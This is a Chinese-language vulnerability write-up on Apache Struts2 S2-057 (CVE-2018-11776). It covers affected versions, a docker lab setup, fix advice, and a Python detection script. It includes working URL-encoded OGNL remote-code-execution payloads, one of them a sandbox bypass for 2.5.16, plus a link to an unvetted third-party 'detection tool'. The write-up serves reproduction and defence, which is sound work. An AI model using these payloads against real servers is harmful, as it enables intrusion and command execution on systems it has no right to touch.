漏洞信息:
定義XML配置時如果namespace值未設置且上層動作配置(Action Configuration)中未設置或用通配符namespace時可能會導致遠程代碼執行。
url標簽未設置value和action值且上層動作未設置或用通配符namespace時可能會導致遠程代碼執行。
官方解決方案: 
 
        升級至版本2.3.35或2.5.17。這兩個版本僅僅只是更新了安全補丁,不存在兼容性問題。
臨時解決方案:
推薦用戶及時更新,但如果不想更新,可暫時使用官方提供的臨時解決方案:當上層動作配置中未設置或使用通配符namespace時,
驗證所有XML配置中的namespace,同時在JSP中驗證所有url標簽的value和action。
|   影響范圍  |  
             所有Struts2開發者及用戶  |  
          
|---|---|
|   漏洞影響  |  
             有可能會導致遠程代碼執行  |  
          
|   最高安全風險  |  
             關鍵  |  
          
|   推薦防護措施  |  
             更新至2.3.35或2.5.17  |  
          
|   影響版本  |  
             Struts 2.3 – Struts 2.3.34, Struts 2.5 – Struts 2.5.16 其余版本也可能會受到影響  |  
          
|   漏洞報告人  |  
             Man Yue Mo@Semmle Security Research team  |  
          
|   CVE編號  |  
             CVE-2018-11776  |  
          
漏洞復現:
這里使用 docker-compose 和 vulnhub 來搭建漏洞利用環境,
使用的漏洞來自: https://github.com/vulhub/vulhub
本機使用的是Ubuntu系統,克隆vulhub,並且進入到漏洞文件中:
git clone https://github.com/vulhub/vulhub 
cd vulhub/struts2/s2-048 
        啟動漏洞環境並查看容器:
docker-compose up -d 
docker ps -a  
        
在容器里面開啟一個交互模式的終端:
docker exec -i -t <你上面顯示的CONTAINER ID> /bin/bash 
        
根據公告 https://struts.apache.org/releases.html

發現Struts 2.5.16存在s2-057漏洞,然后去下載這個版本,來復現漏洞:
https://fossies.org/linux/www/legacy/struts-2.5.16-all.zip/
apt-get update -y mkdir /usr/local/tomcat/webapps/test wget https://fossies.org/linux/www/legacy/struts-2.5.16-all.zip apt-get install unzip -y
unzip struts-2.5.16-all.zip
cp struts-2.5.16/apps/struts2-showcase.war /usr/local/tomcat/webapps/  
        
![]()

修改配置文件:
先查找文件struts-actionchaining.xml,發現有2處需要修改
locate struts-actionchaining.xml 
        定位這個文件,發現位置在:
/usr/local/tomcat/webapps/struts2-showcase/WEB-INF/classes/struts-actionchaining.xml /usr/local/tomcat/webapps/struts2-showcase/WEB-INF/src/java/struts-actionchaining.xml 
         
         
        配置文件修改-參考鏈接: https://lgtm.com/blog/apache_struts_CVE-2018-11776
改為如下所示:
<struts> <package name="actionchaining" extends="struts-default"> <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1"> <result type="redirectAction"> <param name = "actionName">register2</param> </result> </action> </package> </struts> 
        

然后去bin目錄,kill掉進程,因為修改了配置文件,所以需要重啟服務:
cd /usr/local/tomcat/bin/ 
         ./shutdown.sh  
         
重啟服務,st2-057搭建完成:
docker-compose up -d 
         
驗證st2-057:
docker靶機:http://127.0.0.1:8080/struts2-showcase
訪問docker搭建好的漏洞頁面:
http://127.0.0.1:8080/struts2-showcase/${(111+111)}/register2.action
會被引導訪問到: http://127.0.0.1:8080/struts2-showcase/222/register2.action
漏洞就是從這里出現,其中url中222部分為ognl表達式 ${(111+111)} 執行結果 如果我們把ognl表達式換成我們的poc,就可以構成代碼執行漏洞 
         
根據jas502n大佬提供的poc
${(111+111)} 可以替換成以前的poc,例如S2-032
http://www.xxx.com:8080/struts2-showcase/%24%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27calc%27).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew++java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b51020%5d%2c%23c.read(%23d)%2c%23jas502n%3d+%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23jas502n.println(%23d+)%2c%23jas502n.close())%7d/actionChain1.action
附上一張大佬成功彈出計算機的圖:

poc-example:
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('calc').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),#jas502n.println(#d ),#jas502n.close())} 
        拆分:
${ ( #_memberAccess["allowStaticMethodAccess"]=true, #a=@java.lang.Runtime@getRuntime().exec('calc').getInputStream(), #b=new java.io.InputStreamReader(#a), #c=new java.io.BufferedReader(#b), #d=new char[51020], #c.read(#d), #jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(), #jas502n.println(#d), #jas502n.close()) }  
        不過好像低版本能彈計算器,高版本不能 :
換成低版本的試一下:
漏洞環境:struts-2.2.3.1-all.zip
下載地址:http://archive.apache.org/dist/struts/binaries/struts-2.2.3.1-all.zip
poc for Windows:
http://127.0.0.1:8080/struts3-showcase/%24%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec('calc').getInputStream()%2c%23b%3dnew%20java.io.InputStreamReader(%23a)%2c%23c%3dnew %20java.io.BufferedReader(%23b)%2c%23d%3dnew%20char%5b51020%5d%2c%23c.read(%23d)%2c%23sbtest%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23sbtest.println(%23d)%2c%23sbtest.close())%7d/actionChain1.action
poc for Linux:
http://127.0.0.1:8080/struts3-showcase/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27touch /tmp/jas502n%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/actionChain1.action
Bypass for struts-2.5.16-all.zip
Poc for Example-Linux Docker:
http://127.0.0.1:44449/struts2-showcase/actionchaining/$%7B(%23ct=%23request['struts.valueStack'].context).(%23cr=%23ct['com.opensymphony.xwork2.ActionContext.container']).(%23ou=%23cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(%23ou.setExcludedClasses('java.lang.Shutdown')).(%23ou.setExcludedPackageNames('sun.reflect.')).(%23dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(%23ct.setMemberAccess(%23dm)).(%23cmd=@java.lang.Runtime@getRuntime().exec('touch /tmp/jas502n'))%7D/actionChain1.action
這里給出一個檢測str2-057的工具,后門自檢:

鏈接: https://pan.baidu.com/s/18fsoeA5E9qXdbKovZx83EQ 密碼:eu97
漏洞檢測poc:
import sys
import requests
url = sys.argv[1]
url_list = [i for i in url.split("/") if i != '']
payload = "${(65535+521)}"
payload = "/" + payload + "/"
num = 0
for str in url_list:
	num += 1
	if num == 1:
		nurl = str
		continue
	elif num == 2:
		nurl = nurl + "//" + str
		continue
	elif num == len(url_list):
		nurl = nurl + payload + str
		continue
	else:
		nurl = nurl + "/" + str
		continue
try:
	r = requests.head(nurl, stream=True).headers["Location"]
except:
	print "不存在ST2-057漏洞!"
	exit()
if r.find("66056") != -1:
	print "存在ST2-057漏洞!"
else:
	print "不存在ST2-057漏洞!"
 
        
修復建議:
官方提供的臨時解決方案:當上層動作配置中沒有設置或使用通配符namespace時,驗證所有XML配置中的namespace,
同時在JSP中驗證所有url標簽的value和action。
目前Apache官方發布新版本(2.3.35或2.5.17版本)中修復了該漏洞,建議更新
參考鏈接:
漏洞詳情分析:https://xz.aliyun.com/t/2618
https://www.anquanke.com/post/id/157397
https://github.com/jas502n/St2-057
https://lgtm.com/blog/apache_struts_CVE-2018-11776
